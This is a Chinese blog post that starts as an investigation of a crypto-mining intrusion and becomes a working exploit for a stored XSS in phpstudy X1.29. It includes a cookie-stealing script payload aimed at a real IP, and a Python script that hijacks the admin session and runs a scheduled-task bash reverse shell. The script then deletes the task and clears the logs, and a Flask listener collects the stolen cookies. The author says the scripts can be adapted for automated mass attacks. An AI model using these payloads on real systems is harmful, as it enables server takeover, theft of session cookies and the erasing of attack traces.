phpstudy X1.29 后台存储型xss
今天登录同学的小皮运维后台的时候发现CPU占有率达到100%
排查
登录服务器通过top看了下CPU占用情况,发现存在xmrig
挖矿进程(当时直接kill -9
结束了进程没有截到图)
看了下这些文件的时间信息,发现miner.sh的Modify为2023-02-10 17:32:48.000000000 +0800
秒之后的时间为整数,猜测文件时间信息被修改
查看config.json
其中写有矿池地址
在微步在线上查一下,确定为矿池
当时查看网络连接没发现问题,接下来看一下crontab计划任务,使用crontab -e
查看防止计划任务被隐藏
每天23:30执行,查看/var/log/syslog
日志看一下创建时间
然后看一下xmr.sh
这个脚本内容
脚本内容就是一些下载挖矿软件以及日志清除
但是这个机器没有装curl,所以没有执行这个脚本,挖矿程序执行操作应该是攻击者通过shell进行执行的
攻击时间在2023-02-20 13:35
之后,就是登录小皮后台之后,服务器也没有装什么其他服务,应该就是该X1.29
该版本存在漏洞,应该就是这个存储型XSS导致登录后获取cookie
然后执行计划任务
漏洞复现
https://www.freebuf.com/vuls/356878.html
攻击测试弹框<script>alert(1)</script>
成功弹框
通过下边payload可以获得cookie
<script>document.location='http://120.48.43.5:9999/cookie.php?cookie='+document.cookie</script>
当时没有截图,后来更新了下小皮,版本还是X1.29但是漏洞已经不存在了(记于2023-02-20)
获取到Cookie是一个PHPSESSID
PHPSESSID=ed489986cbfcd84118acf11b
本来以为通过该cookie可以直接进到后台,结果没进去,应该是后续请求还存在身份验证,这里我们直接对计划任务接口进行调用(后续写脚本完成这一系列操作)
抓取到计划任务页面,然后可以在浏览器中直接进入
这里本以为可以创建、执行、修改计划任务,结果发现按钮是通过js触发的,这里并没有引入js
然后抓取创建脚本的接口,如下:
成功创建
下边接口用来执行计划任务:
成功获取shell
之后进行痕迹清理,删除计划任务
EXP
通过存储型XSS也无需获取授权码,通过登录接口即可将payload注入进去
在这之前还需要到获取验证码verifycode
,接口位置是/service/app/account.php?type=vercode
,写一下最终的攻击脚本
import requests
from urllib.parse import urljoin
import re
import ddddocr
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
cookies = {
"PHPSESSID": "ed489986cbfcd84118acf11b"
}
s = requests.session()
s.headers.update(headers)
s.cookies.update(cookies)
def inject_xss(url, xss_payload):
# 获取验证码
vercode_url = urljoin(url, "/service/app/account.php?type=vercode")
r = s.get(vercode_url)
with open("./vercode.png", "wb") as f:
f.write(r.content)
vercode = input("查看vercode.png文件(否则进行OCR识别)\n输入验证码:")
if not vercode:
# OCR识别验证码
ocr = ddddocr.DdddOcr()
vercode = ocr.classification(r.content)
xss_url = urljoin(url, "/service/app/account.php")
data = {
"type": "login",
"username": xss_payload,
"password": "hack",
"verifycode": vercode
}
r = s.post(xss_url, data=data)
if "\\u7528\\u6237\\u540d\\u6216\\u8005\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
print("xss payload注入成功")
def exp(url, cookie, shell):
s.cookies.update({"PHPSESSID": cookie})
task_url = urljoin(url, "/service/app/tasks.php")
# 创建计划任务
sava_params = {"type": "save_shell"}
sava_data = {
"task_id": "",
"title": "hack",
"exec_cycle": 1,
"week": 1,
"day": 3,
"hour": 1,
"minute": 30,
"shell": shell
}
r = s.post(task_url, params=sava_params, data=sava_data)
if "\\u4fdd\\u5b58\\u6210\\u529f" in r.text:
print("创建成功")
sleep(3)
# 获取计划任务tid
sava_params = {"type": "task_list"}
r = s.get(task_url, params=sava_params)
tid = int(re.search(r'"ID":([0-9]+),"NAME":"hack"', r.text).group(1))
# 执行计划任务
exec_params = {"type": "exec_task"}
exec_data = {
"tid": tid
}
r = s.post(task_url, params=exec_params, data=exec_data)
if "\\u6267\\u884c\\u6210\\u529f" in r.text:
print("执行成功")
# 删除计划任务
del_params = {"type": "del_task"}
del_data = {
"tid": tid
}
r = s.post(task_url, params=del_params, data=del_data)
if "\\u5220\\u9664\\u6210\\u529f" in r.text:
print("删除成功")
# 清空日志
log_url = urljoin(url, "/service/app/log.php")
cllog_params = {"type": "clearlog"}
r = s.post(log_url, params=cllog_params)
if "\\u6e05\\u7a7a\\u65e5\\u5fd7\\u6210\\u529f" in r.text:
print("日志清空成功")
if __name__ == "__main__":
# <script>document.location="http://120.48.43.5:9999/cookie?cookie="+document.cookie</script>
url = "http://120.48.43.5:11111/"
xss_payload = '<script>document.location="http://120.48.43.5:9999/cookie?cookie="+document.cookie</script>'
inject_xss(url, xss_payload)
cookie = input("请输入通过xss payload获取到的Cookie: ")
shell = "bash -c 'bash -i >& /dev/tcp/120.48.43.5/9999 0>&1'"
exp(url, cookie, shell)
之后服务器端可以开启服务,在收到请求时保存cookie信息,这里通过flask写一个
from flask import Flask, request
app = Flask(__name__)
@app.route('/cookie')
def Cookie_handler():
ip = request.remote_addr
cookie = request.args.get("cookie")
with open("./targets_cookie", 'a') as f:
f.write(ip + '\t' + requcookie + '\n')
return
if __name__ == '__main__':
app.run('0.0.0.0', port=9999)
通过以上两个脚本加以修改可以进行自动化批量攻击!
总结
该漏洞存在于phpstudy for linux版本 ≤ X1.29
中,但目前官方发布的X1.29中已修复该问题,复现漏洞可以使用如下的docker镜像:
docker pull se1zer/phpstudy:1.29
docker run -d -P se1zer/phpstudy:1.29